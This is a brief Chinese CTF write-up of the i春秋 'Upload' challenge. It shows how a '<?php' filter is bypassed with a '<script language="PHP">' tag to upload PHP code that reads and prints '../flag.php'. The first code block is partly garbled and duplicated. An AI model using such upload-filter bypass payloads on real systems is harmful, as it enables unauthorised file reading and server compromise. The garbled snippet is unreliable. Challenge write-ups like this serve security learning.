i春秋CTF Upload

原创

「已注销」 于 2018-09-05 22:04:00 发布 1096 收藏 1

分析

可以上传任意文件，并且上传之后可以打开文件（源码有链接`/u/xx.php`），想到上传一段php代码来打开flag.php页面：

```
php<?php
echo 'here_is_flag';
'flag{47f996fc-4d6c-43e5-af3e-38022f1ba7a3}';xxxxxxxxxx <?phpecho 'here_is_flag';'flag{47f996fc-4d6c-43
```

但是发现`<?php`被过滤了，于是用php脚本标记来绕过过滤：

```
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
```

- 查看源码：

```
echo 'here_is_flag';
'flag{###}';
```